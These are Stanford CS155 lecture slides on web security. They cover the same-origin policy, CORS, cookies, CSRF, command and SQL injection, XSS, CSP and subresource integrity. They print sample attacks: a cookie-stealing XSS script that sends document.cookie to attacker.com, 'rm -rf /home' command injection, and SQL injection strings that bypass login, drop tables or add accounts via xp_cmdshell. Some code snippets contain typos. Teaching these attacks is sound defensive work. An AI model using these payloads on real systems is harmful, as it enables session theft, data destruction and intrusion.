Web Attacks

CS155 Computer and Network Security

Stanford University
Review: Same Origin Policy
DOM Same Origin Policy

Websites can include resources from any origin but Javascript on the requesting website cannot inspect content from other origins.
DOM SOP Vulnerabilities

This can pose a security risk because attackers might not need to view the response to a request to pull off their attack.

```html
<img src="https://bank.com/transfer?
fromAccount=X
&toAccount=Y
&amp;amount=1000"></img>
```
Javascript Requests

Javascript can make new requests for additional data and resources

// running on attacker.com
$.ajax({url: "https://bank.com/account",
    success: function(result){
        $("#div1").html(result);
    }
});
Cross-Origin Resource Sharing (CORS)

By default, Javascript cannot read data sent back by a different origin.

```javascript
$.ajax({url: "api.bank.com/account", ...})
```
Cross-Origin Resource Sharing (CORS)

By default, Javascript cannot read data sent back by a different origin.

Servers can add **Access-Control-Allow-Origin** (ACAO) header that tells browser to allow access to content.

```
$.ajax({url: "api.bank.com/account", ...})
```
Simple vs. Pre-Flight Requests

CORS performs a Pre-Flight check to determine whether the server is willing to receive the request from the origin when the request would have been impossible without Javascript.

GET /account

Equivalent to adding the following to the DOM:

```html
<img src="api.bank.com/account" />
```
CORS performs a Pre-Flight check to determine whether the server is willing to receive the request from the origin when the request would have been impossible without Javascript.

GET /account

Equivalent to adding the following to the DOM:

```
<img href="api.bank.com/account"/>
```

$.ajax({
  url: "api.bank.com/account", type: "POST",
  dataType: "JSON", data: {
    "account": "abc123"
  }
})

Requires Pre-Flight because not possible to send JSON in HTML form.
Same Origin Policy
(Cookies)
Cookies

“In scope” cookies are always sent to an origin regardless of requester

POST /login

GET /img/user.jpg
Cookies

“In scope” cookies are always sent to an origin regardless of requester.
Cookie Same Origin Policy

Cookie scope defined by (domain, path):
e.g., (cs155.stanford.edu, /lectures)

Browser sends all cookies in a URL’s scope:

Cookies with explicit domain are sent to exact matches and subdomains

Cookies with empty/implicit domain are only sent on exact domain match (no subdomains)

Dest path is same or suffix of cookie path
/lectures/web is suffix of /lectures

Domain: 
Path: /classes

https://stanford.edu/classes
https://stanford.edu/classes/cs155
https://stanford.edu/
https://www.stanford.edu/classes
Cookie Same Origin Policy

Cookie scope defined by (domain, path):
e.g., (cs155.stanford.edu, /lectures)

Browser sends all cookies in a URL’s scope:

Cookies with explicit domain are sent to exact matches and subdomains

Cookies with empty/implicit domain are only sent on exact domain match (no subdomains)

Dest path is same or suffix of cookie path

/lectures/web is suffix of /lectures
Setting Cookie Scope

Websites can set a scope to be any prefix of domain or path

✔ cs155.stanford.edu can set cookie for cs155.stanford.edu
✔ cs155.stanford.edu can set cookie for stanford.edu
❌ stanford.edu cannot set cookie for cs155.stanford.edu

✔ website.com/ can set cookie for website.com/
✔ website.com/login can set cookie for website.com/
❌ website.com cannot set cookie for website.com/login
Cookie Attack

CS155 now allows you to login and submit homework at cs155.stanford.edu

Cookies

POST /login HTTP/1.1
cookies: []
username: zakir, password: stanford

HTTP/1.0 200 OK
cookies: session=abc
<html>Success!</html>

GET /memes HTTP/1.1
cookies: []

HTTP/1.0 200 OK
cookies: session=def; Domain=stanford.edu
<html>Success!</html>

POST /submit HTTP/1.1
cookies: ?
Javascript Cookie Access

Developers can additionally manipulate in-scope cookies through Javascript by modifying the values in `document.cookie`.

```javascript
document.cookie = "name=zakir";
document.cookie = "favorite_class/cs155";
function alertCookie() {
    alert(document.cookie);
}
<button onclick="alertCookie()">Show Cookies</button>
```
Policy Collisions

Cookie SOP Policy

cs.stanford.edu/zakir is not sent cookies for cs.stanford.edu/dabo
(cs.stanford.edu is not sent cookies for cs.stanford.edu/zakir either)

Are Dan’s cookies safe from Zakir?
Policy Collisions

Cookie SOP Policy

cs.stanford.edu/zakir is not sent cookies for cs.stanford.edu/dabo
(cs.stanford.edu is not sent cookies for cs.stanford.edu/zakir either)

Are Dan’s cookies safe from Zakir? **No. DOM SOP doesn’t consider path.**

```javascript
const iframe = document.createElement("iframe");
iframe.src = "https://cs.stanford.edu/dabo";
document.body.appendChild(iframe);
alert(iframe.contentWindow.document.cookie);
```
If your bank includes Google Analytics Javascript (from google.com), can it access your Bank’s authentication cookie?
Third Party Access

If your bank includes Google Analytics Javascript (from google.com), can it access your Bank’s authentication cookie?

Yes! Javascript always runs with the permissions of the window

```javascript
const img = document.createElement("image");
document.body.appendChild(img);
```
HttpOnly Cookies

You can set setting to prevent cookies from being accessed through the `document.cookie` API

Prevents Google Analytics from stealing your cookie —

1. Never sent by browser to Google because (`google.com`, `/`) does not match (`bank.com`, `/`)
2. Cannot be extracted by Javascript that runs on bank.com
HTTP Cookies

Network Attacker
Can Observe/Alter/Drop Traffic

HTTPS Connection

- domain: bank.com
- name: authID
- value: auth
HTTP Cookies

Attacker tricks user into visiting http://bank.com

Network Attacker
Can Observe/Alter/Drop Traffic

HTTPS Connection

domain: bank.com
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HTTP Cookies

Network Attacker
Can Observe/Alter/Drop Traffic

Attacker tricks user into visiting http://bank.com
Secure Cookies

A secure cookie is only sent to the server when request is sent over an encrypted channel (i.e., using HTTPS protocol)

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure;
Session Hijacking Attacks

Capturing cookies in order to steal a user’s session — whether it be through network sniffing, malicious Javascript, or another means — is known as a **Session Hijacking Attack**
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF)

Cross-site request forgery (CSRF) attacks are a type of web exploit where a website transmits unauthorized commands as a user that the web app trusts.

In a CSRF attack, a user is tricked into submitting an unintended (often unrealized) web request to a website.
Cookie-Based Authentication

Cookie-based authentication is not sufficient for requests that have any side affect.
Preventing CSRF Attacks

Cookies do not indicate whether an authorized application submitted request since they’re included in every (in-scope) request.

We need another mechanism that allows us to ensure that a request is authentic (coming from a trusted page).

Four commonly used techniques:

- Referer Validation
- Secret Validation Token
- Custom HTTP Header
- sameSite Cookies
Referer Validation

The *Referer* request header contains the address of the previous web page from which a link to the currently requested page was followed. The header allows servers to identify where people are visiting from.

- → https://bank.com ??
Secret Token Validation

bank.com includes a secret value in every form that the server can validate

<form action="https://bank.com/transfer" method="post">
  <input type="hidden" name="csrf_token" value="434ec7e838ec3167ef5">
  <input type="text" name="to">
  <input type="text" name="amount">
  <button type="submit">Transfer!</button>
</form>

Attacker can’t submit data to /transfer if they don’t know csrf_token
Secret Token Generation

```html
<form action="https://bank.com/transfer" method="post">
    <input type="hidden" name="csrf_token" value="434ec7e838ec3167ef5">
    <input type="text" name="to">
    <button type="submit">Transfer!</button>
</form>
```

How do we come up with a token that user can access but attacker can’t?

❌ Set static token in form

→ attacker can load the transfer page out of band

✓ Send session-specific token as part of the page

→ attacker cannot access because SOP blocks reading content
Force CORS Pre-Flight

Requests that required and passed CORS Pre-Flight check are safe

→ Typical **GETs** and **POSTs** don’t require Pre-Flight even if **XMLHttpRequest**

Can we force the browser to make Pre-Flight check? And tell the server?

→ You can add custom header to **XMLHttpRequest**
  → Forces Pre-Flight because custom header
    → Never sent by the browser itself when performing normal **GET** or **POST**

Typically developers use **X-Requested-By** or **X-Requested-With**
Force CORS Pre-Flight

Requests that required and passed CORS Pre-Flight check are safe

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Can we force the browser to make Pre-Flight check? And tell the server?

→ You can add custom header to **XMLHttpRequest**
  
    → Forces Pre-Flight because custom header
    
    → Never sent by the browser itself when performing normal **GET** or **POST**

Typically developers use **X-Requested-By** or **X-Requested-With**
sameSite Cookies

Cookie option that prevents browser from sending a cookie along with cross-site requests.

**Strict Mode.** Never send cookie in any cross-site browsing context, even when following a regular link. If a logged-in user follows a link to a private GitHub project from email, GitHub will not receive the session cookie and the user will not be able to access the project.

**Lax Mode.** Session cookie is be allowed when following a regular link from but blocks it in CSRF-prone request methods (e.g. POST).
Beyond Authenticated Sessions

Prior attacks were using CRSF attack to abuse cookies from logged-in user. Not all attacks are attempting to abuse authenticated user.

Imagine script that logs into your local router using default password and changes DNS settings to hijack traffic.

→ Logging in to a site is a request with a side effect!
SQL Injection
# OWASP Ten Most Critical Web Security Risks

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Command Injection

The goal of command injection attacks is to execute an arbitrary command on the system. Typically possible when a developer passes unsafe user data into a shell.

Example: **head100** — simple program that cats first 100 lines of a program

```c
int main(int argc, char **argv) {
    char *cmd = malloc(strlen(argv[1]) + 100);
    strcpy(cmd, "head -n 100 ");
    strcat(cmd, argv[1]);
    system(cmd);
}
```
Command Injection

Source:

```c
int main(int argc, char **argv) {
    char *cmd = malloc(strlen(argv[1]) + 100);
    strcpy(cmd, "head -n 100 ");
    strcat(cmd, argv[1]);
    system(cmd);
}
```

Normal Input:

```
./head10 myfile.txt -> system("head -n 100 myfile.txt")
```
Command Injection

Source:

```c
int main(int argc, char **argv) {
    char *cmd = malloc(strlen(argv[1]) + 100);
    strcpy(cmd, "head -n 100 ");
    strcat(cmd, argv[1]);
    system(cmd);
}
```

Adversarial Input:

```
./head10 "myfile.txt; rm -rf /home"
  -> system("head -n 100 myfile.txt; rm -rf /home");
```
SQL Injection

Last examples all focused on *shell* injection

Command injection oftentimes occurs when developers try to build SQL queries that use user-provided data

Known as SQL injection
SQL Injection Example

```
$login = $_POST['login'];
$pass = $_POST['password'];
$sql = "SELECT id FROM users
    WHERE username = '"$login"
    AND password = '"$password"";
$rs = $db->executeQuery($sql);
if $rs.count > 0 {
    // success
}
```
Non-Malicious Input

```php
$u = $_POST['login']; // zakir
$pp = $_POST['password']; // 123

$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p';"

$rs = $db->executeQuery($sql);
if ($rs->count > 0 {
    // success
}
```
Non-Malicious Input

```
$u = $_POST['login']; // zakir
$pp = $_POST['password']; // 123

$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'";
// "SELECT id FROM users WHERE uid = 'zakir' AND pwd = '123'"
$rs = $db->executeQuery($sql);
if $rs.count > 0 {
    // success
}
```
Bad Input

```php
$u = $_POST['login']; // zakir
$pp = $_POST['password']; // 123'

$sql = "SELECT id FROM users WHERE uid = \"$u\" AND pwd = \"$p\"";
//     "SELECT id FROM users WHERE uid = \"zakir\" AND pwd = \"123\""
$rs = $db->executeQuery($sql);
//    SQL Syntax Error
if $rs.count > 0 {
    // success
}
```
Malicious Input

```php
$u = $_POST['login']; // zakir--
$pp = $_POST['password']; // 123

$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'";
// "SELECT id FROM users WHERE uid = 'zakir'-- AND pwd..."
$rs = $db->executeQuery($sql);
// (No Error)
if ($rs->count > 0) {
    // Success!
}
```
No Username Needed!

$u = \$_POST[\'login\']; // 'or 1=1 --
$pp = \$_POST[\'password\']; // 123

$sql = "SELECT id FROM users WHERE uid = \'$u\' AND pwd = \'$p\';
// "SELECT id FROM users WHERE uid = 'or 1=1 -- AND pwd..."
$rs = $db->executeQuery($sql);
// (No Error)
if ($rs->count > 0) {
    // Success!
}
Causing Damage

```php
$u = $_POST['login']; // '; DROP TABLE [users] --
$pp = $_POST['password']; // 123

$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'";
// "SELECT id FROM users WHERE uid = "'DROP TABLE [users]--"
$rs = $db->executeQuery($sql);
// No Error...(and no more users table)
```
Microsoft SQL server lets you run arbitrary system commands!

```
xp_cmdshell { 'command_string' } [ , no_output ]
```

“Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text.”
Escaping Database Server

```php
$u = $_POST['login']; // " exec xp_cmdshell 'net user add usr pwd'--
 ppm = $_POST['password']; // 123

$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'";
// "SELECT id FROM users WHERE uid = ";
// exec xp_cmdshell 'net user add usr pwd123'-- "

$rs = $db->executeQuery($sql);
// No Error...(and with a resulting local system account)
```
Preventing SQL Injection

Never trust user input \textit{(particularly when constructing a command)}

Never manually build SQL commands yourself!

There are tools for safely passing user input to databases:

- Parameterized (AKA Prepared) SQL
- ORM (Object Relational Mapper) -> uses Prepared SQL internally
Parameterized SQL

Parameterized SQL allows you to send query and arguments separately to server

```python
sql = "INSERT INTO users(name, email) VALUES(?,?)"
cursor.execute(sql, ['Dan Boneh', 'dabo@stanford.edu'])

sql = "SELECT * FROM users WHERE email = ?"
cursor.execute(sql, ['zakird@stanford.edu'])
```

**Benefit 1:** No need to escape untrusted data — server handles behind the scenes

**Benefit 2:** Parameterized queries are *faster* because server caches query plan
Object Relational Mappers

Object Relational Mappers (ORM) provide an interface between native objects and relational databases.

```python
class User(DBObject):
    __id__ = Column(Integer, primary_key=True)
    name = Column(String(255))
    email = Column(String(255), unique=True)

if __name__ == '__main__':
    users = User.query(email='zakird@stanford.edu').all()
    session.add(User(email='dabo@stanford.edu', name='Dan Boneh'))
    session.commit()
```
Cross Site Scripting (XSS)
**Cross Site Scripting (XSS)**

**Cross Site Scripting:** Attack occurs when application takes untrusted data and sends it to a web browser without proper validation or sanitization.

- **Command/SQL Injection**
  - Attacker’s malicious code is executed on app’s server

- **Cross Site Scripting**
  - Attacker’s malicious code is executed on victim’s browser
Normal Request

https://google.com/search?q=apple

```
<html>
  <title>Search Results</title>
  <body>
    <h1>Results for <?php echo $_GET["q"] ?></h1>
  </body>
</html>
```

Sent to Browser

```
<html>
  <title>Search Results</title>
  <body>
    <h1>Results for apple</h1>
  </body>
</html>
```
Embedded Script

https://google.com/search?q=<script>alert("hello")</script>

```html
<html>
  <title>Search Results</title>
  <body>
    <h1>Results for <?php echo $_GET["q"] ?></h1>
  </body>
</html>
```

Sent to Browser

```html
<html>
  <title>Search Results</title>
  <body>
    <h1>Results for <script>alert("hello")</script></h1>
  </body>
</html>
```
Cookie Theft!

https://google.com/search?q=<script>...</script>

```html
<html>
  <title>Search Results</title>
  <body>
    <h1>Results for
      <script>
        window.open("http://attacker.com?"+cookie=document.cookie)
      </script>
    </h1>
  </body>
</html>
```
Types of XSS

An XSS vulnerability is present when an attacker can inject scripting code into pages generated by a web application.

Two Types:

Reflected XSS. The attack script is reflected back to the user as part of a page from the victim site.

Stored XSS. The attacker stores the malicious code in a resource managed by the web application, such as a database.
Reflected Example

Attackers contacted PayPal users via email and fooled them into accessing a URL hosted on the legitimate PayPal website.

Injected code redirected PayPal visitors to a page warning users their accounts had been compromised.

Victims were then redirected to a phishing site and prompted to enter sensitive financial data.
Stored XSS

The attacker stores the malicious code in a resource managed by the web application, such as a database.
Samy Worm

XSS-based worm that spread on MySpace. It would display the string "but most of all, samy is my hero" on a victim's MySpace profile page as well as send Samy a friend request.

In 20 hours, it spread to one million users.
MySpace Bug

MySpace allowed users to post HTML to their pages. Filtered out

    <script>, <body>, onclick, <a href=javascript://>

Missed one. You can run Javascript inside of CSS tags.

    <div style="background:url('javascript:alert(1)')">
Filtering Malicious Tags

For a long time, the only way to prevent XSS attacks was to try to filter out malicious content.

Validate all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what is allowed.

‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.
Filtering is Really Hard

Large number of ways to call Javascript and to escape content

URI Scheme: `<img src="javascript:alert(document.cookie);">`

On{event} Handers: onSubmit, OnError, onSyncRestored, … (there’s ~105)

Samy Worm: CSS

Tremendous number of ways of encoding content

`<IMG SRC=\&\#0000106\&\#0000097\&\#0000118\&\#0000097\&\#0000115\&\#0000099\&\#0000114\&\#0000105\&\#0000112\&\#0000116\&\#0000058\&\#0000097\&\#0000108\&\#0000101\&\#000114\&\#0000116\&\#0000040\&\#0000039\&\#0000088\&\#0000083\&\#0000083\&\#0000039\&\#0000041>`

Google XSS Filter Evasion!
Filters that Change Content

Filter Action: filter out `<script`

Attempt 1: `<script src="...">
  src="...">
</script`

Attempt 2: `<script src="...">
  `<script src="...">
</script>`
Filters that Change Content

Today, web frameworks take care of filtering out malicious input*

* they still mess up regularly. Don’t trust them if it’s important!

Do not roll your own!

Stored XSS Patched in WordPress 5.1.1

MARCH 26, 2019  •  MARC-ALEXANDRE MONTPAS
Content Security Policy (CSP)

You’re always safer using a whitelist- rather than blacklist-based approach

CSP allows eliminating XSS attacks by whitelisting the origins that are trusted sources of scripts and other resources

Browser will only execute scripts from whitelisted domains, ignoring all other scripts (including inline scripts and event-handling HTML attributes).
Example CSP 1

**Content-Security-Policy:** default-src 'self'

→ content can only be loaded from the same domain as the page
→ no inline `<script></script>` will be executed
→ no inline `<style></style>` will be executed
Content-Security-Policy: default-src 'self';
img-src *; script-src cdn.jquery.com

→ content can only be loaded from the same domain as the page, except
  → images can be loaded from any origin
  → scripts can only be loaded from cdn.jquery.com
  → no inline <script></script> will be executed
→ no inline <style></style> will be executed
Sub-Resource Integrity
Question: how do you safely load an object from a third party service?

<script src="https://code.jquery.com/jquery-3.4.0.js"></script>

If code.jquery.com is compromised, your site is too!
MaxCDN Compromise

2013: MaxCDN, which hosted bootstrapcdn.com, was compromised

MaxCDN had laid off a support engineer having access to the servers where BootstrapCDN runs. The credentials of the support engineer were not properly revoked. The attackers had gained access to these credentials.

Bootstrap JavaScript was modified to serve an exploit toolkit
Sub-Resource Integrity (SRI)

SRI allows you to specify expected hash of file being included

```html
<script
    src="https://code.jquery.com/jquery-3.4.0.min.js"
    integrity="sha256-BJeo0qm959uMBGb65z40ejJYGSgR1fNKwOg="
/>
Web Attacks

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